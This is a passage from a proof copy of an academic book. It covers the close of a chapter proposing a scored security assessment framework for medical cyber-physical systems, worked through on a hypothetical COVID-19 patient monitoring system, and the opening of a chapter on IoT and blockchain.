Combine the recommendations and score into
a �nal document

End

Figure 8.5 Flowchart of score calculation.Q4

PROOF

neelp
Highlight

neelp
Sticky Note
▶ Call out for => Figure 8.6▶ Updated version of this paragraph is as follows:This section is for assessing the improvements in the CPS design from previous assessment. This is an optional step in the assessment procedure that is added to bring a notion of self-benchmarking to the CPS security design a threshold to cross in each iteration of assessment. Figure 8.6 encapsulates the list of actions that will not be performed in the initial iteration. However, the subsequent iterations will have the score of its previous iteration as the benchmark for it to cross as illustrated in figure 8.6.



4S Framework 181

like the traditional approach that has been followed until now. However, 
other 50 points will come from the novel aspects discovered, discussed and 
suggested by the authors of this chapter and past works. Also, the nature of 
CPSs have been looked upon to select the assessments like HMSB.

Table 8.1 illustrates the main section scores, e.g., MVM assessment sec-
tion is assigned 10 points, which if individually seen is one of the major 
contributors to the final score. It also mentions the penalty p that is applied 
on the score in case 2 or more consequent assessments did not leverage 
the score by more than 5 points minimum or 10 points maximum. This 
threshold is chosen by the designers based on the strictness for improve-
ment every time they assess. The penalty is introduced to avoid someone 
from performing 4S assessment of a CPS design without incorporating any 
changes or additions from the past assessment that could have improved 
the system security. 

Table 8.2 illustrates the score assigned to sub-sections of the DCPS 
assessment. There are the following two sub-sections inside it: Cyber 
Security Assessment & Physical Security Assessment. The scores for both 
the sections are kept the same since they both have equal weightage in 
terms of making the CPS under assessment secure. There is a group of 
attacks and threats that are assessed for being handled, to form the final 

Start

Choose value of penalty p between -5 to -10

αc = Score of Current 4S Assessment

αold = Score of Preceding 4S Assessment

Compare αold & αc

If αold  +

p > α  

True

False

α = α + p

End

Figure 8.6 Flowchart of self benchmarking.
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score out of 25 for both sections 2.1 and 2.2 of Table 8.2. Tables 8.4 and 
8.5 contain the de facto cyber and physical security group of attacks and 
threats that are to be assessed.

These attacks and threats mentioned in Table 8.4 below are classified 
into four levels of System Preparedness Level, i.e., prevent, detect and elim-
inate, detect and report or in worst case no detection at all. Similar con-
cept is followed for physical, medial-specific, extreme and exception case 
attacks and threats.

Table 8.1 Points division for main sections.

Section 
number Section name Symbol Points

1 MVM or quick assessment X0 10

2 DCPS assessment X1 50

3 HMSB cases assessment X2 40

5 Self-benchmarking p Value between -5 
to -10

Table 8.2 Points division for DCPS sections.

Section 
number

Sub-section 
number Section name Symbol Points

2
2.1 Cyber security assessment y0 25

2.2 Physical security assessment y1 25

Table 8.3 Levels of system’s preparedness for handling attacks for cyber attacks.

Sr. no. Level name Symbol Percentage of score

1 Prevent P 100

2 Detect & eliminate DE 80

3 Detect & report DR 50

4 No detection ND 0
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Table 8.4 Cyber attacks & threats corpus of assessments.

Sr. no. Attack / threat name Maximum points

1 Radiation disturbance 1

2 DDoS/DoS 1

3 SQL injection 1

4 Unauthorized access of data 1

5 Cross site scripting 1

6 Viruses 1

7 Man in the middle 1

8 Worms 1

9 Phishing attack 1

10 Malware attacks 1

11 Wiper attack 1

12 Spyware attacks 1

13 Birthday attack 1

14 Dictionary network attack 1

15 Brute-force attacks 1

16 Zero-day exploit 1

17 DNS tunnelling attack 1

18 Crypt analysis 1

19 Key logger attack 1

20 Privilege escalation attack 1

21 Packet sniffing 1

22 Network/packet jamming 1

23 Blue jacking 1

24 Initialization vector attack 1

25 MAC spoofing 1
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Most of the physical threats mentioned in Table 8.6 are the ones that a 
MCPS can come across are self-explanatory but some terms have peculiar 
contextual meaning: 

• Critical system button: This is any button that overrides sys-
tems’ ordinary functioning for example reset button, power 
off button etc.

Table 8.5 Levels of system’s preparedness for handling attacks for physical threats.

Sr. no. Level name Symbol Percentage of score

1 Prevent P 100

2 Detect & report DR 60

3 No detection ND 0

Table 8.6 Physical threats corpus of assessments.

Sr. no. Threat name Maximum points

1 Malicious plugging of power 2.5

2 Accidental switch control 2.5

3 Actuators malfunction 2.5

4 Repeated ill use of critical system button 2.5

5 Power level manipulation 2.5

6 Damage of sensors 2.5

7 Abnormal behaviour 2.5

8 System breakdown 2.5

9 Theft reporting and detection 2.5

10 Cable alteration (breaking and tapping) 2.5

Table 8.7 Levels of system’s preparedness for handling attacks for medical threats.

Sr. no. Level name Symbol Percentage of score

1 Prevent P 100

2 Detect & report DR 60

3 No detection ND 0
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Table 8.8 Medical threats corpus of assessments.

Sr. no. Threat name Maximum points

1 Slower response time 2

2 Fixed universal constants alteration (software 
level)

2

3 Device interoperability manipulation 2

4 Breach of hygiene standards (geographic and 
situational)

2

5 Adulteration of medicines/chemical and their 
containers 

2

Table 8.9 Levels of system’s preparedness for handling attacks exceptional 
situations.

Sr. no. Level name Symbol Percentage of score

1 Prevent P 100

2 Detect & eliminate DE 90

3 Detect & report DR 70

4 No detection ND 0

Table 8.10 Exceptional situation caused attacks & threats - corpus of assessments.

Sr. no. Attack name Maximum points

1 Side-line attack 2.5

2 Fault injection attack 2.5

3 Clock glitch attack 2.5

4 Abnormal engineering of standard 
operating conditions

2.5

5 RTOS failure 2.5

6 Rigid automation (humans can’t override 
functions)

2.5
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Tables 8.4, 8.6, 8.8 and 8.10 are corpus of attacks or threats that are 
possible w.r.t CPS in terms of its cyber security, physical security, medi-
cal device–related security and exceptional cases, respectively. Along with 
each corpus there is a Security Preparedness Level (SPL) table associated. 
The SPL essentially models the degree of secureness or resistance against 
an attack or threat that a CPS design possesses whilst the assessment. The 
SPL determines the percentage of max score that will be assigned to that 
particular attack or threat under assessment.  

There are two approaches that a CPS designer can follow to assign points 
to the holistic level security assessment. Maximum points assigned can be 
15. The two approaches are as follows:

1. System designer can divide the 15 points into equal parts 
based on the number of threat scenarios that the system can 
possibly land up being in. Out of these scenarios how many 
of them CPS design can handle at that instance and how 
many remain unhandled. 

2. SME can be asked to arrange scenarios based on harmful-
ness, the most harmful being at the top and the least being 
at the bottom. Accordingly, points can be decided for each 
scenario that are left unhandled.

b. Formulas used for Calculation of Assessment Score
Given below are the formulas 1, 2 and 3, which should be used to evaluate 
the sectional scores and final score of the assessment, respectively.

 X yk k2 0
1= ∑ =  (8.1)

 X zk k3 0
2= ∑ =  (8.2)

Table 8.11 Points division for HMSB section.

Section 
number

Sub-section 
number Section name Symbol Points

3 3.1 Model driven test z0 15

3.2 Medical related test z1 10

3.3 Exceptional related test z2 15
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Formula 1 is used for calculation of DCPS Assessment Section. HMSB 
Security Assessment Section should be assessed using Formula 2. The 
above-mentioned formulas 1 & 2 are used to simply add two of the 
sub-assessments that are done under section number 2 & 3, respectively. 
Essentially, they sum up the section’s internal results of sub-assessments 
that were performed either corpus or any other criteria mentioned above. 

 X pk k0
3( )α = ∑ +=  (8.3)

Formula 3 is used for 4S Assessment final score calculation.  It is essen-
tially the final outcome of the proposed assessment framework. It is mod-
elled to be an amalgamation of all the lower level and distinct section’s 
assessments and their results in terms of whether the system could handle 
the threat or attack feasibly or not and to which level.

8.6 Assessment of Hypothetical MCPS Using 4S 
Framework

The 4S framework working can be more practically understood with 
the help of hypothetical MCPS. The hypothetical MCPS will be assessed 
using the 4S framework. The system will undergo two iterations of whole 
4S assessment to demonstrate the entire process of evaluation. The sys-
tem to be assessed is a COVID-19 Isolated Patient Monitoring and Alert 
(CIPMA) System [25].

8.6.1 System Description

The main aim of the system is to minimize human contact with infected 
patients. The system consists of an isolation ward for an infected patient. For 
each patient, sensors have been deployed to record real-time data. Sensors 
will be used for keeping track of temperature, pulse rate, and oxygen levels of 
the patient. All the patient records are sent to the cloud server using a wire-
less media. The cloud server stores the data in an encrypted database. The 
real-time data is also available to hospital staff and the family members of the 
patient via the web portal. If any of the sensors reports an alarming reading 
then the hospital staff will be notified immediately via sirens fitted at appro-
priate places as well as mobile text messages. The doctors can report immedi-
ately to the patient and provide necessary treatment. This will ensure that no 
patient will be denied the required treatment even if a doctor is not around.
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8.6.2 Use Case Diagram for the Above CPS

CIPMA CPS

Doctors And
Hospital Sta�

Patient Family
Members

Sensors

Update Portal for
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View Patient Real
Time Patient
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Generate Alerts In 
Case Of Emergency

Collect & Send
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Mobile App

Cloud Server

Encrypted Cloud
Storage or
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Figure 8.8 Use case diagram of CIPMA system.
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Figure 8.7 Hypothetical CPS’s block diagram.
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8.6.3 Iteration 1 of 4S Assessment

The interpretation of this assessment should be done in such a way that 
there is a CIPMA CPS that a CPS designers has designed for COVID-19 
patients with some security considerations already made in the design. 
Now, they are assessing that design with the proposed assessment frame-
work for the first time.

a. Section 1: MVM Assessment
The main modules of the CIPMA CPS are: 

1. Web & App Portal
2. Alarm, Siren & SMS Notification Module
3. GSM Modules for Wireless Media Communication
4. Coaxial Cables for Wired Media Communication
5. Sensor Network to Sense Patient Data
6. Cloud-Based Server
7. Cloud-Based Database

Further, the modules have to be arranged in the order of vulnerability. 
The highest vulnerability module should be at the top, although, all mod-
ules have critical impact on others in case of malfunctioning or hijack-
ing, but according to the medical context and specifically CIPMA CPS. 
Hence it is crucial to contextually examine which ones are more vulner-
able compared to others. The above list can be arranged in the following 
order: 

1. Most Vulnerable: Sensor Network to Sense Patient Data
2. GSM Modules for Wireless Media Communication
3. Alarm, Siren & SMS Notification Module
4. Web & App Portal
5. Coaxial Cables for Wired Media Communication
6. Cloud Based Server
7. Least Vulnerable: Cloud-Based Database

According to the above list the Most Vulnerable Module is the Sensor 
Network. The sensor network’s security mechanisms that are already incor-
porated in the design should be compared with the industry standards for 
them. In  a case where they do not align to it then the score should be 0 
else the score should be 10. The binary notion associated with the score of 
this section or step is because the module can end up being the ‘one target 
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to break all’ module for the attackers. At this instance, the CIPMA CPS is 
assumed to be using the industry standard mechanisms for gathering read-
ings and encrypting the data to be sent out to Cloud Server via the wireless 
media. As a result, the score assigned to it is X0 = 10 out of 10.

b. Section 2: DCPS Assessment
Sub-Section 1: Cyber Attacks/Threats Assessment

The results of this assessment is given in the Table 8.12.
Each attack is very common and hence the definition of all the attacks is 

not elaborated upon. All the scores have been made based on assumption 
that the state of system design is such that there is satisfaction of the given 
SPL that is assigned in the above table to each attack. For example, Brute-
Force attack is assigned ‘P’ SPL. One way to interpret that is: because there 
are strong password policies that are imposed on the people using CIPMA 
CPS and hence rendering the above-discussed attack impossible. Because 
elaborating on the assumption behind every SPL is infeasible and quite 
irrelevant (Since, this breakdown is to essentially demonstrate the use of 
proposed assessment framework and not system details), almost all SPLs 
will be assigned based on assumptions that the system design is in such a 
state that it justifies that level. 

Since the score difference is between the best possible score and the 
above-mentioned table is 6.8, hence there is a scope of making the cyber 
aspect of MCPS under assessment more secure. The cyber security loop-
holes can be clearly identified by the SPL of the attack being low. The CPS 
can be bettered by adding procedures or policies that can shift the SPL 
towards prevention.

Sub-Section 2: Physical Attacks/Threats Testing
Following the methodology of determining threat levels that could poten-
tially lead to a failure, in this section physical threats to the MCPS system 
are taken into consideration. The SPL here is divided into three categories: 
prevent, detect and report or no detection. Below are the scores for the 
same:

Score of the physical threat assessment of CIPMA CPS is approximately 
ten points lower than the best possible score. Similar interpretation as done 
for Table 8.12 should be applied here, i.e., for attacks where the SPL is not 
the highest possible, attempts should be made to leverage SPL by appropri-
ately tweaking the system.

The score for whole section will be X1 = 33.7 out of 50 using the for-
mula 1.
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Table 8.12 Results of cyber attacks & threats from its corpus of assessments.

Sr. no. Attack name 
System preparedness 

level
Points 

scored
Max 

points

1 Radiation 
disturbance

DR 0.5 1

2 DDoS/DoS P 1 1

3 SQL injection P 1 1

4 Unauthorized 
access of data

P 1 1

5 Cross site 
scripting

DE 0.8 1

6 Viruses DE 0.8 1

7 Man in the middle P 1 1

8 Worms DE 0.8 1

9 Phishing attack ND 0 1

10 Malware attacks ND 0 1

11 Wiper attack DR 0.5 1

12 Spyware attacks DR 0.5 1

13 Birthday attack P 1 1

14 Dictionary 
network attack

P 1 1

15 Brute-force 
attacks

P 1 1

16 Zero-day exploit DR 0.5 1

17 DNS tunnelling 
attack 

P 1 1

18 Crypt analysis P 1 1

19 Key logger attack P 1 1

(Continued)
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c. Section 3: HMSB Assessment
Sub-Section 1: Holistic or Model Driven Assessment

The use case diagram illustrated in Figure 8.8 is a modelling-based 
approach to find security loopholes in the CPS being assessed. This kind of 
modelling will give access to the user behaviours that are possible towards 
the CPS. In other words, it will help the designers know about the various 
ways the users are going to use or even come across with the CPS.

The model in Figure 8.8 of the CPS usage has six cases that different 
entities / systems / users will perform at a black box level on CIPMA CPS. 
The scoring of this section has two approaches as described in the proposed 
framework section. At this instance approach no. 1 is being employed. 
From the above six possible scenarios each scenario will be examined for 
security flaws be it cyber, physical, medical device related or exceptional 
cases. The CPS design seems to be vulnerable in some of the use cases that 
are responsible to make it holistically more secure.

Specifically, two flaws are found to be: 

1. Lack of security mechanism related to leak of patient data by 
their family members. 

2. The alarm system can also be vulnerable to spoofing or 
no-undo provision. For example, there is a no real emergency, 

Table 8.12 Results of cyber attacks & threats from its corpus of assessments. 
(Continued)

Sr. no. Attack name
System preparedness 

level
Points 

scored
Max 

points

20 Privilege 
escalation 
attack 

P 1 1

21 Packet sniffing DE 0.8 1

22 Network/packet 
jamming 

ND 0 1

23 Blue jacking P 1 1

24 Initialization 
vector attack

P 1 1

25 MAC spoofing ND 0 1

18.2 25
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yet by mistake or even maliciously someone sends the SMS 
alert to others. In such cases there should be provision to 
pull back the message or send another neutralizing message 
informing others about the alert sent, being false.

So, out of six main use cases, two use cases are identified to have security 
flaws. Hence, score for this step is z0 = 1 out of 15. 

Sub-Section 2: Extreme, Exception or Boundary Attacks / Threats Cases 
Assessment
Results of exceptional or boundary condition threats are not much less 
compared to the maximum score. Also, this is the minimum difference 
between the max score and the actual score that is observed among other 
corpus-based assessments performed in Tables 8.12 and 8.13.  

Table 8.13 Results of physical threats from its corpus of assessments.

Sr. 
no. Threat name 

System 
preparedness 
level

Points 
scored

Max 
points

1 Malicious plugging of 
power

P 2.5 2.5

2 Accidental switch 
control

DR 1.5 2.5

3 Actuators malfunction DR 1.5 2.5

4 Repeated ill use of critical 
system button

P 2.5 2.5

5 Power level 
manipulation

DR 1.5 2.5

6 Damage of sensor(s) DR 1.5 2.5

7 Abnormal behaviour DR 1.5 2.5

8 System breakdown ND 0 2.5

9 Theft of CPS 
equipment(s)

DR 1.5 2.5

10 Cable alteration (breaking 
and tapping)

DR 1.5 2.5

y1 15.5 25
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Sub-Section 3: Medical Attacks / Threats Testing
The results of the assessment are tabulated below:

Table 8.15 Results of medical threats from its corpus of assessments.

Sr. no. Threat name 

System 
preparedness 
level

Points 
scored

Max 
points

1 Slower response time P 2 2

2 Fixed universal constants 
alteration (software level)

P 2 2

3 Device interoperability 
manipulation 

DR 1.2 2

4 Breach of hygiene standards 
(geographic and 
situational)

DR 1.2 2

5 Adulteration of medicines/
chemical and their 
containers 

ND 0 2

z2 6.4 10

Table 8.14 Results of exceptional threats from its corpus of assessments.

Sr. 
no. Attack name 

System 
preparedness 
level

Points 
scored

Max 
score

1 Side-line attack DR 1.8 2.5

2 Fault injection attack DR 1.8 2.5

3 Clock glitch attack DR 1.8 2.5

4 Abnormal engineering 
of standard operating 
conditions

P 2.5 2.5

5 RTOS failure P 2.5 2.5

6 Rigid automation 
(humans cannot 
override functions)

DR 1.8 2.5

z1 12.2 15
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The score of medical threats is 3.6 points less than the maximum and 
hence to make the CPS security as strong as possible towards medical 
threats, SPL leveraging is required for specific threats or attacks mentioned 
in the above table.   

Hence, the score for the whole section based on formula 2 will be X2 = 
28.6 out of 40.

d. Section 4: Score Calculation
The score for the whole 4S assessment, i.e., α is calculated using formula 3. 
The resultant score comes out to be:

Since this is the first iteration, self-benchmarking step will be omitted. 
However, the above-mentioned score will be used as threshold for next iteration.

8.6.4 Iteration 2 of 4S Assessment

After the iteration 1, the designers have to ideally improve the design so 
as to increase the score of each section and thereby attempt to increase 
the security provisions in the CPS under assessment. The interpretation of 
this iteration is such that the hypothetical CPS has been improved for its 
security aspects by understanding the above scores and their breakdowns. 
After which, the 4S Assessment is being done again.

a. Section 1: MVM Assessment
Since this section had the score 10, i.e., the security of the most vulnerable 
part was kept at par with industry standards for the same. In this iteration 
only new modules introduced will be checked for being the most vulner-
able or not. If the previously identified most vulnerable module is still the 
same then based on whether it is still abiding to industry standards or not 
will make the score as 10 or 0. In this assessment it is assumed to abiding, 
and hence the score for this section is X0 = 10 out of 10.

b. Section 2: DCPS Assessment
Sub-Section 1: Cyber Attacks/Threats Assessment
This iteration is expected to have the SPLs of the attacks or threats that 
were low, to have went through design fixations and hence raised their 
SPLs. The result of this assessment is given in the table below.
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Table 8.16 Results of cyber attacks & threats from its corpus of assessments.

Sr. no. Attack name 
System preparedness 

level
Points 

scored
Max 

points

1 Radiation disturbance P 1 1

2 DDoS/DoS P 1 1

3 SQL injection P 1 1

4 Unauthorized access of data P 1 1

5 Cross site scripting P 1 1

6 Viruses DE 0.8 1

7 Man in the middle P 1 1

8 Worms DE 0.8 1

9 Phishing attack ND 0 1

10 Malware attacks ND 0 1

11 Wiper attack DR 0.5 1

12 Spyware attacks DR 0.5 1

13 Birthday attack P 1 1

14 Dictionary network attack P 1 1

15 Brute-force attacks P 1 1

16 Zero-day exploit P 1 1

17 DNS tunnelling attack P 1 1

18 Crypt analysis P 1 1

19 Key logger attack P 1 1

20 Privilege escalation attack P 1 1

21 Packet sniffing DE 0.8 1

22 Network/packet jamming DR 0.5 1

23 Blue jacking P 1 1

24 Initialization vector attack P 1 1

25 MAC spoofing P 1 1

y0 20.9 25

PROOF



4S Framework 197

The highlighted (yellow) tuples are the threats for which the SPL is 
raised by making appropriate changes in the CIPMA system design.

Since the score difference between the best possible score and the 
above-mentioned table’s score is decreased from 6.8 to now 4.1. Hence, 
the system is more secure than the last iteration on a design level, although 
there is a scope of making the cyber aspect of CIPMA CPS even more 
secure. 

Sub-Section 2: Physical Attacks/Threats Assessment
Below are the scores for Physical threat assessment section after the design 
changes that were incorporated to achieve higher SPL:

Table 8.17 Results of physical threats from its corpus of assessments.

Sr. 
no. Threat name 

System 
preparedness 
level

Points 
scored

Max 
points

1 Malicious plugging of 
power

P 2.5 2.5

2 Accidental switch 
control

P 2.5 2.5

3 Actuators malfunction P 2.5 2.5

4 Repeated ill use of 
critical system 
button

P 2.5 2.5

5 Power level 
manipulation

DR 1.5 2.5

6 Damage of sensor(s) DR 1.5 2.5

7 Abnormal behaviour DR 1.5 2.5

8 System breakdown DR 1.5 2.5

9 Theft of CPS 
equipment(s)

DR 1.5 2.5

10 Cable alteration 
(breaking and 
tapping)

DR 1.5 2.5

y1 19 25
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The score of Physical threats assessment has improved from 15.5 to 19, 
showing evident improvement in the physical secureness of CIPMA CPS.

The score for whole section will be X1 = 39.9 out of 50. 

c. Section 3: HMSB Assessment
Sub-Section 1: Model Driven Testing
The past score for this step or assessment was 10, where two security flaws 
were found in the use case modelling of the CIPMA CPS. After the first 
iteration of 4S assessment, the designer carried out modifications in the 
design so as to have following status w.r.t previously identified flaws:

1. Family member’s data leakage related flaw was not handled.
2. Undo alert provision was assigned to admin or higher level 

users like doctors. 

Hence, score for this step is z0 = 12 out of 15. 

Sub-Section 2: Extreme, Exception or Boundary Attacks / Threats Cases 
Assessment

In this case of Table 8.18, there is slight improvement on the previous 
iterations design. Since these are extreme cases there is a need to handle 
them but not immediately, unless the situation denies this argument.

Table 8.18 Results of exceptional threats from its corpus of assessments.

Sr. no. Attack name 

System 
preparedness 
level

Points 
scored

Max 
score

1 Side-line attack DR 1.8 2.5

2 Fault injection attack DR 1.8 2.5

3 Clock glitch attack DR 1.8 2.5

4 Abnormal engineering 
of standard operating 
conditions

P 2.5 2.5

5 RTOS failure P 2.5 2.5

6 Rigid automation 
(humans cannot 
override functions)

P 2.5 2.5

z1 12.9 15
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Sub-Section 3: Medical Attacks / Threats Testing

Table 8.19 Results of medical threats from its corpus of assessments

Sr. no. Threat name 

System 
preparedness 
level

Points 
scored

Max 
points

1 Slower response time P 2 2

2 Fixed universal 
constants alteration 
(software level)

P 2 2

3 Device interoperability 
manipulation 

P 2 2

4 Breach of hygiene 
standards 
(geographic and 
situational)

DR 1.2 2

5 Adulteration of 
medicines/chemical 
and their containers 

DR 1.2 2

z2 8.4 10

The difference between the maximum score possible and the above 
scorez2 has been reduced. This evidently shows improvement in the threat 
handling capability of the CPS design under assessment towards medical 
device related security threats. 

Hence, the score for the whole section based on formula 2 will be X2 = 
33.3 out of 40.

d. Section 4: Score Calculation

The resultant score for the second 4S assessment comes out to be:
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e. Section 5: Self Benchmarking
Since, as system designers kept the threshold for improvement to be min-
imum, i.e., 5 points, the penalty will be applied when any subsequent iter-
ation will have  value not more than the 5 points from previous iteration. 
Since, in the above scenario the score has risen from 72.3 to 83.2 which is 
evidently a growth of more than 5 points, the penalty will be p = 0.

If there would have been an increase of less than 5 points, for example, 
the value of  in this iteration would have been 75, then penalty would have 
p = −5. As a result the final score would have been:

8.7 Conclusion

As applications of CPS are expanding to multiple industries, there’s going 
to be a massive demand to optimize the designing, assessing and deploy-
ing processes of CPSs. Hence, we have proposed a Security Assessment 
Framework that is specific to medical CPSs. The framework’s four crucial 
qualities, i.e., step-wise, score-based, security pivotal and systematic were 
given justified and explained. The 4S Framework proposed by the authors 
is an attempt put forward for an effective and comprehensive assessment 
framework to CPS designers in the industry. A thorough review of how 
MCPS spans out as a specialized division of the CPS is done in the chapter. 
It also explains how security aspects for CPSSEC compare and contrast 
with mere cybersecurity. Proposing a robust framework covering aspects 
from cyber, physical, medical, holistic spheres along with a considerations 
of exceptional cases, is very comprehensive, effective and efficient for CPS 
designer’s make use of. The authors have also performed an insightful 
demonstration of the 4S Framework on a hypothetical MCPS to bolster 
their proposal. Two Iterations of the whole assessment framework was 
done so as put forth almost all scenarios possible. Various interpretations 
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of the scores was also articulated, to provide different viewpoints for the 
same score. As newer challenges emerge with healthcare technology, 
MCPSs seem to have the potential of taking centre stage to not just provide 
essential services but also give space for innovative and unprecedented ser-
vices that can be possible. This will have positive as well as negative conse-
quences that will affect all stakeholders involved.

8.8 Future Scope

Widen the scope of 4S from being just medical devices specific to cross 
domain specific CPSs. One way of achieving this would be to replace the 
medical specific section to ‘domain specific section’. To provide simulation 
environment for predicting system behaviour under various attacks. 
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Abstract
Data in IoT domains is significantly analysed and the information is mined as 
required. The results from the devices are then shared among the interested 
devices for better experience and efficiency. Sharing of data is rudimentary in any 
IoT platform which increases the probability of an adversary gaining access of the 
data.  Blockchain, which consists of blocks that are connected together by means 
of cryptographic hashes, SHA256 being the most popularly used hash function in 
the blockchain network, is a newly adapted technology for secure sharing of data 
in IoT domains. A lot of challenges involving the integration for blockchain in IoT 
has to be addressed that would ultimately provide a secure mechanism for data 
sharing among IoT devices. 

Keywords: IoT, mining, sharing, SHA, adversary, cryptographic, blockchain

9.1 IoT and Blockchain

Internet of Things (IoT) pertinently is comprised of a conglomerate of mil-
lions and billions of devices that are connected over the internet through-
out the world. The aim of IoT is to make all the objects intelligent and 
smart and to collect information form the physical devices, share the data 
and communicate it back for processing and analysis. This notion of mak-
ing every object around us and sensors intelligent started way back in the 
1980s but due to the large-sized chips and ineffective communication 
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technologies this technology did not accelerate much. With the advent of 
low power and very cheap chips as well as the RFIDs that communicate 
wirelessly  this technology became what it is today. 

IoT technology enables problem-solving tools without any human 
intervention. IoT is a booming technology with sensors that are cheap and 
easy to install and ubiquitous wireless sensor networks. From a small tablet 
to a ship everything is now part of IoT facilitating all the devices to provide 
data in real time, share the data and learn from the data. The architecture 
of IoT consists of three layers [1] as shown in Figure 9.1 below:

• Perception Layer:  This is the lowest layer in IoT architecture 
and consists of sensors and actuators. This layer is respon-
sible for the collection of data from the environment where 
the sensors are deployed such as smart watch, WSN, tem-
perature, humidity, etc.

• Network Layer: It is the middle layer of the IoT architec-
ture and consists of IoT protocols such as Bluetooth, ZigBee, 
Z-Wave, 6LoWPAN, Thread, LTE-M1and Dash7. The func-
tion of this layer is to connect devices with one another via a 
network connection. It is also responsible for the transmis-
sion and processing of sensor data.

• Application Layer: This is the top layer in IoT architecture and 
provides the interface between the IoT devices and the network.  
Some of the protocols which operate in this layer are MQTT, 
SMQTT, XMPP, M3DA, JavaScript IoT, and Websocket.

Application Layer
Cloud/Servers

Routers/Gateways

Sensors/Actuators

Perception Layer

Network Layer

Figure 9.1 Architecture of IoT.
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IoT usually consists of devices that would not normally have an internet 
connection like a light bulb, a thermostat and a toy, etc., and these devices 
operate independently without any sort of human intervention. The appli-
cations of IoT are vast, encompassing not only industry (machine-to- 
machine) IoT but also smart homes and offices.

The number of devices connected to this technology is a direct estimate 
of the size of IoT. It is predicted that 41.6 billion devices shall be a part of 
IoT by 2025. Also, a total of 5.8 billion devices from automotive and indus-
trial sectors alone were connected by the end of 2019. Table 9.1 depicts the 
size of IoT by 2020 (last three years), the data provided by Gartner.

One must have understood till now that IoT is not just a single tech-
nology but a collection of many myriad technologies including electronic 
technologies, communication and information technologies, etc., as well 
as the new analytical and computing technologies. The combination of 
all such technologies tends to make IoT very complex and very hard to 
manage.  

The complexity in the integration of heterogeneous devices and net-
works as well as the distributed character of devices in IoT makes the 
process of authentication a nightmare. The solution is a central author-
ity. Allowing any non-authenticated device to connect to the IoT would 

Table 9.1 IoT devices (source gartner).

Category Year–2018 Year–2019 Year–2020

Services/utilities 0.98 1.17 1.37

Automotive 0.27 0.36 0.47

Government 0.40 0.53 0.70

Building automation 0.23 0.31 0.44

Transportation 0.06 0.07 0.08

Information 0.37 0.37 0.37

Healthcare 0.21 0.28 0.36

Wholesale/Retail 0.29 0.36 0.44

Manufacturing & Natural Resources 0.33 0.40 0.49

Physical Security 0.83 0.95 1.09

Total 3.96 4.81 5.81
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result in a security risk that might lead to data spoofing and other security 
concerns. Hence, a central authentication authority is a mandatory body 
to attain the smooth and secure functioning of IoT. However, this central 
authority comes with disadvantages, one of the most significant of which is 
bottleneck. To cater to the security issues in IoT, the central authority can 
be removed and a distributed ledger-based Blockchain technology can be 
used. Now, what is Blockchain?

Blockchain technology is the single most pertinent technology after the 
invention of the Internet. After it was used in Bitcoin [2] way back in 2008, 
the real potential of this technology was seen. 

Hence the application area of Blockchain technology has grown far 
ahead of cryptocurrencies and covers almost anything you can think of, 
e.g., medical, voting, fraud and intrusion detection and logistics (Supply 
Chain Management). Unlike IoT, Blockhcain technology is decentralized; 
no single central authority exists. All the operations and transactions in 
a blockchain are performed by peer-to-peer devices in the network. This 
technology is also referred to as distributed ledger because the blockchain 
ledger is stored on multiple participating computers rather than on a single 
central server. The consistency of this ledger is maintained using consensus 
algorithms [3]. Apart from the distributive nature of blockchain, some of 
the characteristic features are as follows:

• Immutable
• Anonymous
• Transparent
• Secure

Technically, blockchain is a collection of blocks with links that are 
essentially cryptographic hashes [4]. One of the most popular hashing 
techniques used in blockchain network is SHA256 [5]. The information 
contained in a block of a blockchain comprises data, hash of the previous 
block and its own hash. The first block of a blockchain is called genesis 
block or block 0; this block does not contain any previous hash [6]. Figure 
9.2 shows the architecture of a block chain.

There are three types of blockchain systems [7–9]:

9.1.1 Public 

This type of blockchain is decentralized and visible to every user. It is spe-
cifically used for solving fraud and issues related to security that mostly 
adhere in traditional financial bodies. Also, the code is open to everyone; 
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each participant is enabled to access the blockchain and can participate 
in the consensus process. The transactions are all anonymous in this pub-
lic blockchain. Also, this technology has zero infrastructure expenses. The 
consensus algorithms used in this blockchain are as under:

• Proof of Work (PoW)
• Proof of Stake (PoS)
• Delegated Proof of Stake (DPoW)

Bitcoin and Ethereum use public blockchain. 

9.1.1.1 Proof of Work (PoW)

The concept of Proof of Work (PoW) comes into play when a difficult 
task—difficult in terms of the computations and energy required—is given 
to the miners for solution. After a certain amount of time that is due to 
solve the problem, the solution is verified easily and the new block is added 
to the blockchain. PoW is vulnerable to 51% attack in which a miner with 
the majority of the mining power can control the consensus. It is a direct 
consequence of computational energy consumption. PoW also suffers 
from some issues related to latency. Other mechanisms based on Proof of 
Work for consensus include Leased Proof of Stake (LPoS), Proof of Burn 
(PoB) and Proof of Importance (PoI).

9.1.1.2 Proof of Stake (PoS)

Proof of Stake (PoS) is another mechanism for consensus in blockchain 
in which the significance of a person in the network is characterized by 
the amount of coins he/she holds which directly suggests the work these 
people shall put in for the normal and smooth functioning of the network. 

Block
Header

Block 0

Block
Header

Block
Header

Block 1 Block 2

Figure 9.2 Blockchain architecture.
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People have to put some units of crypto at stake to verify the transactions. 
The only drawback of this network is that it tends to make the rich people 
richer.

9.1.1.3 Delegated Proof of Stake (DPoS)

In Delegated Proof of Stake, witnesses are selected using votes to validate 
or verify the transactions. The witnesses who would collect the most num-
ber of votes are given the authority to validate a transaction. A user has the 
ability to delegate the voting power to a trustworthy user for the selection 
of witnesses. It may be noted that the votes are directly consequential to the 
user’s/voter’s stake. 

9.1.2 Private 

This type of blockchain is restricted in nature and visible to limited users. 
It is specifically used for verification of operations internally and database 
management. Also, the code is not open to everyone. Write permissions 
are also given to a single central organization. Since it has a central system 
aspect, private blockchain is vulnerable to security breaches like any other 
centralized system. Also, this technology has zero infrastructure expenses. 
The consensus algorithms used in this blockchain are as under:

• practical Byzantine Fault Tolerance(pBFT) 
• Reliable, Replicated, Redundant, And Fault-Tolerant (RAFT)

MONAX and Multichain use private blockchain. 

9.1.3 Consortium or Federated 

This type of blockchain is controlled and restricted in nature. It is oper-
ated by a group of organizations rather than a single party and any user 
with access to the internet cannot be involved in the verification process 
of transactions. Also, this type of blockchain is faster than any of the other 
types and provides more privacy and scalability. The transactions are all 
performed at a reduced cost and redundancy.  No consensus algorithms 
used in this blockchain. R3 (Banks) and EWF (Energy) used in Consortium 
blockchain. Some of the features of consortium blockchain include:

• Faster speed
• Scalability
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• Low transaction costs
• Low energy consumption
• Risk of 51% attack mitigated
• Mitigated criminal activity
• Regulations 

9.2 IoT Application Domains and Challenges in Data 
Sharing

It has already been established that IoT is present everywhere and possibly 
every device is and will be connected to this technology in the near future. 
Hence, the applications cover almost every sphere and aspect of life as it 
